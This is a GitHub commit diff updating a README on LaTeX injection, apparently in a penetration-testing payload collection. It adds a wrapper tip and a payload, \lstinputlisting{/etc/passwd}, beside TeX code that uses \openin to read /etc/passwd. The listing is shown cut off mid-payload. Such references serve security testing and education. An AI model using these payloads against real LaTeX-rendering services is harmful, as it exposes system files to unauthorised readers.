Merge pull request #652 from clem9669/master

Update README.md for Latex injection
This commit is contained in:
Swissky 2023-06-29 12:27:22 +02:00 committed by GitHub
commit 0a75beeccd
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -1,5 +1,7 @@
# LaTex Injection
You might need to adjust injection with wrappers as `\[` or `$`.
## Read file
Read file and interpret the LaTeX code in it:
@ -22,6 +24,7 @@ Read single lined file:
Read multiple lined file:
```tex
\lstinputlisting{/etc/passwd}
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file